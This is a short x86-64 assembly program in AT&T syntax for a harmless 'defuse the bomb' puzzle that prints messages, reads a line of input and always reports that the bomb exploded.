tot AT&T Gas .data buf: .space 0x80 bufs: .ascii "***BOOM! You Failed!\n" bufl= .-buf dis: .ascii "Bomb Disarmed __/ __\n" arm: .ascii "Bomb Armed ______ \n" do: .ascii "Disarm the bomb by cutting the correct wires\n> " .text #.global main .globl _start .type print, @function print: movq $0x1, %rax movq $0x1, %rdi syscall retq _start: nop armed: movq $arm,%rsi movq $0x13, %rdx call print movq $do,%rsi movq $0x2E,%rdx call print movq $0x0,%rax movq $0x0,%rdi movq $buf,%rsi movq $bufl,%rdx syscall wires: xor %rax, %rax cmp $0x309,%rax jne explode syscall disarm: movq $dis,%rsi movq $0x15, %rdx call print jmp out explode: movq $bufs,%rsi movq $0x15, %rdx call print out: movq $0x3C,%rax movq $0x0,%rdi syscall